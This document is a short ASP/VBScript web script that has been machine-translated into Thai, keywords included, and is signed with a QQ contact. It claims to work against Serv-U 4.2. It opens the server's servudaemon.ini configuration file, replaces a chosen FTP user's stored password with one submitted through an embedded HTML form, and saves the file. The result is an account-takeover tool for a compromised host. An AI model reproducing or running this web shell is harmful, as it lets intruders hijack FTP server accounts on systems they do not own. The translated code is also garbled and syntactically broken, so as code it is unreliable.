รหัสต่อไปนี้ได้รับการทดสอบเพื่อทำงานกับ Serv-U 4.2
-
-
- Survivor QQ: 548836661 |
- จดหมาย: [email protected] |
-
inipath = d:/program files/serv-u/servudaemon.ini 'ตั้งค่าเส้นทางไฟล์ servudaemon.ini
user = [user = & คำขอ (ผู้ใช้) & | 1]
ผ่าน = รหัสผ่าน = & คำขอ (ผ่าน)
คีย์ = คำขอ (คีย์)
ถ้าคีย์ <> จากนั้น
Dim OS, Userlong, Passlong, PL, SS
ตั้งค่า fso = createObject (scripting.filesystemobject)
ตั้งค่า os = fso.opentextfile (inipath, 1) 'อ่าน servudaemon.ini
s = os.readall
os.close
userlong = instr (s, user)+len (ผู้ใช้) +2
สำหรับ i = userlong ถึง userlong+20
passlong = passlong+1
ถ้า asc (mid (s, i, 1)) = 13 แล้ว
ออกจาก
สิ้นสุดถ้า
ต่อไป
PL = MID (S, UserLong, Passlong-1)
SS = แทนที่ (S, User & Chr (13) & Chr (10) & PL, ผู้ใช้ & Chr (13) & Chr (10) & Pass)
ตั้งค่า os = fso.createtextfile (inipath, true) 'เขียนถึง servudaemon.ini
OS.WRITE SS
os.close
สิ้นสุดถ้า
-
<วิธีการฟอร์ม = โพสต์>
ชื่อผู้ใช้: <อินพุตประเภท = ชื่อข้อความ = ผู้ใช้> <br>
รหัสผ่านใหม่: <อินพุตประเภท = ชื่อข้อความ = ผ่าน> <br>
<ประเภทอินพุต = ส่งชื่อ = ค่าคีย์ = แก้ไข> <br>
</form>